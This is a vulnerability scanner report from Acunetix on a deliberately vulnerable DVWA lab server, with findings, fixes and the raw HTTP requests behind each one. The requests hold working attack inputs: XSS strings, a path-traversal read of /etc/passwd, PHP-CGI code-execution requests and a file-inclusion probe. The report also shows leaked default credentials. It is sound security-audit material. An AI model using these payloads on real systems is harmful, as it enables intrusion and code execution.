

Affected Items Report

Acunetix Security Audit

2026-08-12

Generated by Acunetix

Scan of 192.168.78.129

Scan details

Scan information	
Start time	2026-08-11T23:54:47.452503-04:00
Start url	http://192.168.78.129/dvwa/index.php
Host	192.168.78.129
Scan time	46 minutes, 13 seconds
Profile	OWASP Top 10
Server information	Apache/2.2.8 (Ubuntu) DAV/2
Responsive	True
Server OS	Unix
Server technologies	PHP
Application build	24.10.241106172

Threat level

Acunetix Threat Level 4

One or more critical-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	43
 Critical	1
 High	10
 Medium	13
 Low	13
 Informational	6

Affected items

/dvwa/vulnerabilities/upload/	
Alert group	Unrestricted File Upload
Severity	Critical
Description	This script is vulnerable to unrestricted file upload. Various web applications allow users to upload files (such as pictures, images, sounds, ...). Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code. Acunetix was able to upload a file containing executable code and get this code executed. Check Attack details for more information about this attack.
Recommendations	Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.
Alert variants	
Details	Successfully uploaded file ZZZTest8534.php.jpg with content type image/jpeg . The file is available at: /dvwa/hackable/uploads/ZZZTest8534.php.jpg .
GET /dvwa/hackable/uploads/ZZZTest8534.php.jpg HTTP/1.1 Cookie: security=high; PHPSESSID=fd97e8536bdddbd1aa079c2821d32d63 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive	

/dvwa/config/config.inc.php~	
Alert group	Configuration file source code disclosure
Severity	High
Description	A backup/temporary configuration file was found on this directory. It has been confirmed that this file contains PHP source code. Several popular text editors like Vim and Emacs automatically create backup copies of the files you edit, giving them names like "wp-config.php~" and "#wp-config.php#". If the text editor crashes or the SSH connection drops during editing, then the temporary backup files may not be cleaned up correctly. Also, sometimes developers create this type of files to backup their work or by administrators when making backups of the web server. Most servers, including Apache, will serve the plaintext of .php~ and .php# files without passing them through the PHP preprocessor first, since they don't have the .php file extension.
Recommendations	Remove this file from the web server. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of temporary/backup files in directories accessible from the web.
Alert variants	

Details	Configuration file variant found: config.inc.php~
	Pattern found: <pre><?php # If you are having problems connecting to the MySQL database and al # try changing the 'db_server' variable from localhost to 127.0.0.1. # Thanks to digininja for the fix. # Database management system to use \$DBMS = 'MySQL'; #\$DBMS = 'PGSQL'; # Database variables \$_DVWA = array(); \$_DVWA['db_server'] = 'localhost'; \$_DVWA['db_database'] = 'dvwa'; \$_DVWA['db_user'] = 'root'; \$_DVWA['db_password'] = ''; # Only needed for PGSQL \$_DVWA['db_port'] = '5432'; ?></pre>
<pre>GET /dvwa/config/config.inc.php%7E HTTP/1.1 Cookie: security=high; PHPSESSID=fd97e8536bdddbd1aa079c2821d32d63 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

/dvwa/	
Alert group	Cross-site Scripting
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URI was set to "onmouseover='wHrH(94502)'bad=" The input is reflected inside a tag parameter between double quotes.

GET /dvwa/vulnerabilities/view_source.php?
id=%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%27%77%48%72%48%28%39%34%35%30%32%29%27%62%61%64%3D%22 HTTP/1.1
Referer: http://192.168.78.129/dvwa/index.php
Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive

/dvwa/	
Alert group	Cross-site Scripting
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URI was set to ;9224'();9857 The input is reflected inside Javascript code between single quotes.

GET /dvwa/vulnerabilities/view_source.php?id=%3B%39%32%32%34%27%28%29%3A%3B%39%38%35%37 HTTP/1.1
Referer: http://192.168.78.129/dvwa/index.php
Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive

/dvwa/vulnerabilities/view_source.php	
Alert group	Cross-site Scripting (verified)
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded GET input id was set to fi'()&%<zzz><ScRiPt >Exr1(9126)</ScRiPt>

```
GET /dvwa/vulnerabilities/view_source.php?id=fi' " ( ) % 2 6 % 2 5 < z z z > < S c R i P t % 2 0 > E x r 1 ( 9 1 2 6 )
< / S c R i P t > & security = high HTTP / 1.1
Referer: http://192.168.78.129/dvwa/index.php
Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; security=high
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

/dvwa/vulnerabilities/view_help.php	
Alert group	Directory traversal
Severity	High
Description	This script is vulnerable to directory traversal attacks. Directory Traversal is a vulnerability which allows attackers to access restricted directories and read files outside of the web server's root directory.
Recommendations	Your script should filter metacharacters from user input.
Alert variants	
Details	URL encoded GET input id was set to ../../../../etc/passwd%00.jpg File contents found: <pre>root:x:0:0:root:/root:/bin/bash</pre>

```
GET /dvwa/vulnerabilities/view_help.php?
id=../../../../../../../../../../../../../../../../etc/passwd%00.jpg&security=high HTTP/1.1
Referer: http://192.168.78.129/dvwa/index.php
Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; security=high
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

/dvwa/vulnerabilities/view_help.php	
Alert group	Local File Inclusion
Severity	High
Description	This script is vulnerable to file inclusion attacks. The script was found to reference and potentially retrieve files from user-specified locations. User input is not sufficiently validated or sanitized prior to being passed to the vulnerable script's include function.
Recommendations	Edit the source code to ensure that input is properly validated. Where is possible, it is recommended to make a list of accepted filenames and restrict the input to that list. For PHP, the option allow_url_fopen would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. It is recommended to disable this option from php.ini.

Alert variants	
Details	URL encoded GET input id was set to http://dicrpdbrmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg Pattern found: <pre>Warning: file_get_contents(..vulnerabilities/http://dicrpdbr</pre>
<pre>GET /dvwa/vulnerabilities/view_help.php? id=http://dicrpdbrmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg&security=high HTTP/1.1 Referer: http://192.168.78.129/dvwa/index.php Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; security=high Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

Web Server	
Alert group	PHP-CGI remote code execution
Severity	High
Description	PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. When PHP is used in a CGI-based setup (such as Apache's mod_cgid), the php-cgi receives a processed query string parameter as command line arguments which allows command-line switches, such as -s, -d or -c to be passed to the php-cgi binary, which can be exploited to disclose source code and obtain arbitrary code execution. An example of the -s command, allowing an attacker to view the source code of index.php is below: <pre>http://localhost/index.php?-s</pre>
Recommendations	An alternative is to configure your web server to not let these types of requests with query strings starting with a "-" and not containing a "=" through. Adding a rule like this should not break any sites. For Apache using mod_rewrite it would look like this: <pre>RewriteCond %{QUERY_STRING} ^(%2d -)[^=]+\$ [NC] RewriteRule ^(.*) \$1? [L]</pre>
Alert variants	
Details	

POST /cgi-bin/php?
%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive

<?php echo(md5('testing-php-cgi-rce')); ?>

<i>/dvwa/dvwa/js/</i>	
Alert group	PHP-CGI remote code execution
Severity	High
Description	PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. When PHP is used in a CGI-based setup (such as Apache's mod_cgid), the php-cgi receives a processed query string parameter as command line arguments which allows command-line switches, such as -s, -d or -c to be passed to the php-cgi binary, which can be exploited to disclose source code and obtain arbitrary code execution. An example of the -s command, allowing an attacker to view the source code of index.php is below: http://localhost/index.php?-s
Recommendations	An alternative is to configure your web server to not let these types of requests with query strings starting with a "-" and not containing a "=" through. Adding a rule like this should not break any sites. For Apache using mod_rewrite it would look like this: RewriteCond %{QUERY_STRING} ^(%2d -)[^=]+\$ [NC] RewriteRule ^(.*) \$1? [L]
Alert variants	
Details	

POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Content-Type: x/y
Cookie: PHPSESSID=fd97e8536bdddbd1aa079c2821d32d63
Content-Length: 42
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive

<?php echo(md5('testing-php-cgi-rce')); ?>

/dvwa/phpinfo.php	
Alert group	Security vulnerability in MySQL/MariaDB sql/password.c (verified)
Severity	High
Description	Sergei Golubchik posted to the oss-sec mailing list about a recently patched security flaw (CVE-2012-2122) in the MySQL and MariaDB database servers. When a user connects to MariaDB/MySQL, a token (SHA over a password and a random scramble string) is calculated and compared with the expected value. Because of incorrect casting, it might've happened that the token and the expected value were considered equal, even if the memcmp() returned a non-zero value. In this case MySQL/MariaDB would think that the password is correct, even while it is not. Because the protocol uses random strings, the probability of hitting this bug is about 1/256. Which means, if one knows a user name to connect (and "root" almost always exists), she can connect using <i>*any*</i> password by repeating connection attempts. ~300 attempts takes only a fraction of second, so basically account password protection is as good as nonexistent. Affected versions: • All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable. • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
Recommendations	Upgrade to the latest version of MySQL.
Alert variants	
Details	MySQL version: 5.0.51a
<pre>GET /dvwa/phpinfo.php HTTP/1.1 Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

/dvwa/login.php	
Alert group	Weak password
Severity	High
Description	This page is using a weak password. Acunetix was able to guess the credentials required to access this page. A weak password is short, common, a system default, or something that could be rapidly guessed by executing a brute force attack using a subset of all possible passwords, such as words in the dictionary, proper names, words based on the user name or common variations on these themes.
Recommendations	Enforce a strong password policy. Don't permit weak passwords or passwords based on dictionary words.
Alert variants	
Details	Username: admin , Password: password .

```

POST /dvwa/login.php HTTP/1.1
Referer: http://192.168.78.129/dvwa/login.php
Cookie: PHPSESSID=2171d5b10f964d86bb0c5bba74366412;security=high;
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive

username=admin&password=password&Login=Login&

```

Web Server	
Alert group	Apache 2.x version older than 2.2.9
Severity	Medium
Description	This alert was generated using only banner information. It may be a false positive. Fixed in Apache httpd 2.2.9: • low: mod_proxy_balancer CSRF CVE-2007-6420 The mod_proxy_balancer provided an administrative interface that could be vulnerable to cross-site request forgery (CSRF) attacks. • moderate: mod_proxy_http DoS CVE-2008-2364 A flaw was found in the handling of excessive interim responses from an origin server when using mod_proxy_http. A remote attacker could cause a denial of service or high memory usage. Affected Apache versions (2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0).
Recommendations	Upgrade Apache 2.x to the latest version.
Alert variants	
Details	Version detected: Apache/2.2.8 .

Web Server	
Alert group	Apache JServ protocol service
Severity	Medium
Description	The Apache JServ Protocol (AJP) is a binary protocol that can proxy inbound requests from a web server through to an application server that sits behind the web server. It's not recommended to have AJP services publicly accessible on the internet. If AJP is misconfigured it could allow an attacker to access to internal resources.
Recommendations	It's recommended to restrict access to this service on production systems.
Alert variants	
Details	The AJP service is running on TCP port 8009.

Web Server	
Alert group	Apache httpOnly cookie disclosure
Severity	Medium

Description	Apache HTTP Server 2.2.x through 2.2.21 does not properly restrict header information during construction of Bad Request (aka 400) error documents, which allows remote attackers to obtain the values of HTTPOnly cookies via vectors involving a (1) long or (2) malformed header in conjunction with crafted web script. Affected Apache versions (up to 2.0.21).
Recommendations	Upgrade Apache 2.x to the latest version. Apache 2.2.22 is the first version that fixed this issue.
Alert variants	
Details	Pattern found: <pre>Cookie: testingCookie=AAA</pre>

Cookie:

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
```

Web Server	
Alert group	Apache httpd remote denial of service
Severity	Medium
Description	A denial of service vulnerability has been found in the way the multiple overlapping ranges are handled by the Apache HTTPD server: http://seclists.org/fulldisclosure/2011/Aug/175 An attack tool is circulating in the wild. Active use of this tools has been observed. The attack can be done remotely and with a modest number of requests can cause very significant memory and CPU usage on the server. This alert was generated using only banner information. It may be a false positive. Affected Apache versions (1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19).
Recommendations	Upgrade to the latest version of Apache HTTP Server (2.2.20 or later), available from the Apache HTTP Server Project Web site.
Alert variants	
Details	Version detected: 2.2.8 .

Web Server	
Alert group	Directory listings (verified)
Severity	Medium
Description	Directory listing is a web server function that displays the directory contents when there is no index file in a specific website directory. It is dangerous to leave this function turned on for the web server because it leads to information disclosure.
Recommendations	You should make sure no sensitive information is disclosed or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Folders with directory listing enabled: • http://192.168.78.129/dvwa/dvwa/ • http://192.168.78.129/dvwa/dvwa/js/ • http://192.168.78.129/dvwa/dvwa/css/ • http://192.168.78.129/dvwa/vulnerabilities/ • http://192.168.78.129/dvwa/config/ • http://192.168.78.129/dvwa/docs/ • http://192.168.78.129/dvwa/vulnerabilities/fi/help/ • http://192.168.78.129/dvwa/dvwa/images/ • http://192.168.78.129/dvwa/vulnerabilities/brute/help/ • http://192.168.78.129/dvwa/vulnerabilities/sqli_blind/help/ • http://192.168.78.129/dvwa/vulnerabilities/exec/help/ • http://192.168.78.129/dvwa/vulnerabilities/sqli/help/ • http://192.168.78.129/dvwa/vulnerabilities/csrf/help/

```
GET /dvwa/dvwa/ HTTP/1.1
Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

Web Server	
Alert group	Insecure HTTP Usage
Severity	Medium
Description	It was detected that your web application uses HTTP protocol, but doesn't automatically redirect users to HTTPS.
Recommendations	It's recommended to implement best practices of HTTP Redirection into your web application. Consult web references for more information
Alert variants	
Details	

```
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

Web Server	
Alert group	PHP hangs on parsing particular strings as floating point number
Severity	Medium
Description	This alert was generated using only banner information. It may be a false positive. PHP hangs when parsing '2.2250738585072011e-308' string as a floating point number. Affected PHP versions: 5.3 up to version 5.3.5 and 5.2 up to version 5.2.17
Recommendations	Upgrade PHP to the latest version.
Alert variants	
Details	Version detected: PHP/5.2.4.

/dvwa/phpinfo.php	
Alert group	PHP session.use_only_cookies Is Disabled (verified)
Severity	Medium
Description	When use_only_cookies is disabled, PHP will pass the session ID via the URL. This makes the application more vulnerable to session hijacking attacks. Session hijacking is basically a form of identity theft wherein a hacker impersonates a legitimate user by stealing his session ID. When the session token is transmitted in a cookie, and the request is made on a secure channel (that is, it uses SSL), the token is secure.

Recommendations	You can enabled session.use_only_cookies from php.ini or .htaccess. php.ini session.use_only_cookies = 'on' .htaccess php_flag session.use_only_cookies on
Alert variants	
Details	This vulnerability was detected using the information from phpinfo() page. session.use_only_cookies: On
<pre>GET /dvwa/phpinfo.php HTTP/1.1 Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

Web Server	
Alert group	PHPInfo pages
Severity	Medium
Description	One or more phpinfo() pages were found. The phpinfo() function exposes a large amount of information about the PHP configuration and that of its environment. This includes information about PHP compilation options and extensions, the PHP version, server information, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.
Recommendations	Remove either the call to the phpinfo() function from the file(s), or the file(s) itself.
Alert variants	
Details	PHPInfo pages found: • /dvwa/phpinfo.php <title>phpinfo()</title>
<pre>GET /dvwa/phpinfo.php HTTP/1.1 Cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive</pre>	

Web Server	
Alert group	Password transmitted over HTTP
Severity	Medium
Description	User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.
Recommendations	Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

Alert variants	
Details	Forms with credentials sent in clear text: • http://192.168.78.129/dvwa/login.php Form name: <empty> Form action: login.php Form method: POST Password input: password • http://192.168.78.129/dvwa/vulnerabilities/brute/ Form name: <empty> Form action: # Form method: GET Password input: password • http://192.168.78.129/dvwa/vulnerabilities/csrf/ Form name: <empty> Form action: # Form method: GET Password input: password_current • http://192.168.78.129/dvwa/vulnerabilities/csrf/index.php Form name: <empty> Form action: # Form method: GET Password input: password_current • http://192.168.78.129/dvwa/vulnerabilities/brute/index.php Form name: <empty> Form action: # Form method: GET Password input: password
GET /dvwa/login.php HTTP/1.1 Host: 192.168.78.129 Pragma: no-cache Cache-Control: no-cache accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 accept-language: en-US upgrade-insecure-requests: 1 cookie: security=high; PHPSESSID=fd97e8536bddd1aa079c2821d32d63 Accept-Encoding: gzip,deflate,br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36	

Web Server	
Alert group	SSL/TLS Not Implemented (verified)
Severity	Medium
Description	This scan target was connected to over an unencrypted connection. A potential attacker can intercept and modify data sent and received from this site.
Recommendations	The site should send and receive data over a secure (HTTPS) connection.

Alert variants	
Details	
GET /dvwa/dvwa/js/ HTTP/1.1 Referer: http://192.168.78.129/dvwa/dvwa/js/ Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; security=high Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 192.168.78.129 Connection: Keep-alive	

Web Server	
Alert group	Source code disclosures
Severity	Medium
Description	One or more pages disclosing source code were found. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.
Recommendations	Remove these file(s) from your website or change their permissions to remove access.
Alert variants	
Details	Pages with source code disclosed: • http://192.168.78.129/dvwa/config/config.inc.php~ <pre><?php # If you are having problems connecting to the MySQL database and # try changing the 'db_server' variable from localhost to 127.0.0.1 # Thanks to digininja for the fix. # Database management system to use \$DBMS = 'MySQL'; #\$DBMS = 'PGSQL'; # Database variables \$_DVWA = array(); \$_DVWA['db_server'] = 'localhost'; \$_DVWA['db_database'] = 'dvwa'; \$_DVWA['db_user'] = 'root'; \$_DVWA['db_password'] = ''; # Only needed for PGSQL \$_DVWA['db_port'] = '5432'; ?></pre>

GET /dvwa/config/config.inc.php~ HTTP/1.1
Referer: http://192.168.78.129/dvwa/config/
Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; security=high
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive

Web Server	
Alert group	[Possible] Password Transmitted over Query String
Severity	Medium
Description	These page(s) contain a form with a password field. The form's method attribute is either set to GET, or not defined at all, in which case it defaults to GET. This configuration may lead to user data being submitted using the GET method, causing the contents of the password field to appear in the URL. Sensitive information should not be passed via the URL. URLs could be logged or leaked via the Referer header.
Recommendations	The HTML form's method attribute should be defined and set POST rather than GET.
Alert variants	

Forms with password field submitted via GET:

- <http://192.168.78.129/dvwa/vulnerabilities/brute/>

```
Form name: <empty>
Form action: #
Form method: GET
Password input: password
```

- <http://192.168.78.129/dvwa/vulnerabilities/csrf/>

```
Form name: <empty>
Form action: #
Form method: GET
Password input: password_current
```

- <http://192.168.78.129/dvwa/vulnerabilities/csrf/>

```
Form name: <empty>
Form action: #
Form method: GET
Password input: password_new
```

- <http://192.168.78.129/dvwa/vulnerabilities/csrf/>

```
Form name: <empty>
Form action: #
Form method: GET
Password input: password_conf
```

- <http://192.168.78.129/dvwa/vulnerabilities/csrf/index.php>

```
Form name: <empty>
Form action: #
Form method: GET
Password input: password_current
```

- <http://192.168.78.129/dvwa/vulnerabilities/csrf/index.php>

```
Form name: <empty>
Form action: #
Form method: GET
Password input: password_new
```

- <http://192.168.78.129/dvwa/vulnerabilities/csrf/index.php>

```
Form name: <empty>
Form action: #
Form method: GET
Password input: password_conf
```

- <http://192.168.78.129/dvwa/vulnerabilities/brute/index.php>

```
Form name: <empty>
Form action: #
Form method: GET
Password input: password
```

Details

GET /dvwa/vulnerabilities/brute/ HTTP/1.1
Referer: http://192.168.78.129/dvwa/index.php
Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; security=high
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive

Web Server	
Alert group	Apache 2.x version older than 2.2.10
Severity	Low
Description	This alert was generated using only banner information. It may be a false positive. Fixed in Apache httpd 2.2.10: low: mod_proxy_ftp globbing XSS CVE-2008-2939 A flaw was found in the handling of wildcards in the path of a FTP URL with mod_proxy_ftp. If mod_proxy_ftp is enabled to support FTP-over-HTTP, requests containing globbing characters could lead to cross-site scripting (XSS) attacks. Affected Apache versions (2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0).
Recommendations	Upgrade Apache 2.x to the latest version.
Alert variants	
Details	Version detected: Apache/2.2.8 .

Web Server	
Alert group	Apache mod_negotiation filename bruteforcing
Severity	Low
Description	mod_negotiation is an Apache module responsible for selecting the document that best matches the clients capabilities, from one of several available documents. If the client provides an invalid Accept header, the server will respond with a 406 Not Acceptable error containing a pseudo directory listing. This behaviour can help an attacker to learn more about his target, for example, generate a list of base names, generate a list of interesting extensions, look for backup files and so on.
Recommendations	Disable the MultiViews directive from Apache's configuration file and restart Apache. You can disable MultiViews by creating a .htaccess file containing the following line: Options -Multiviews
Alert variants	
Details	Pattern found: <title>406 Not Acceptable</title>

```
GET /index HTTP/1.1
Accept: wdsdjolh/qfcw
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Host: 192.168.78.129
Connection: Keep-alive
```

Web Server	
Alert group	Cookies Not Marked as HttpOnly (verified)
Severity	Low
Description	One or more cookies don't have the HttpOnly flag set. When a cookie is set with the HttpOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.
Recommendations	If possible, you should set the HttpOnly flag for these cookies.
Alert variants	

Cookies without HttpOnly flag set:

- <http://192.168.78.129/dvwa/index.php>

```
Set-Cookie: PHPSESSID=fd97e8536bddd1aa079c2821d32d63; path=/
```

- <http://192.168.78.129/dvwa/index.php>

```
Set-Cookie: security=high
```

- <http://192.168.78.129/dvwa/security.php>

```
Set-Cookie: security=low
```

- <http://192.168.78.129/dvwa/>

```
Set-Cookie: PHPSESSID=7ffd41ce70069825c6830ae4c4e61370; path=/
```

- <http://192.168.78.129/dvwa/login.php>

```
Set-Cookie: PHPSESSID=52a5641e1d2e377a6580751ab56c74f7; path=/
```

- <http://192.168.78.129/dvwa/setup.php>

```
Set-Cookie: PHPSESSID=de50a6197a90279e17f2f0195ce7c471; path=/
```

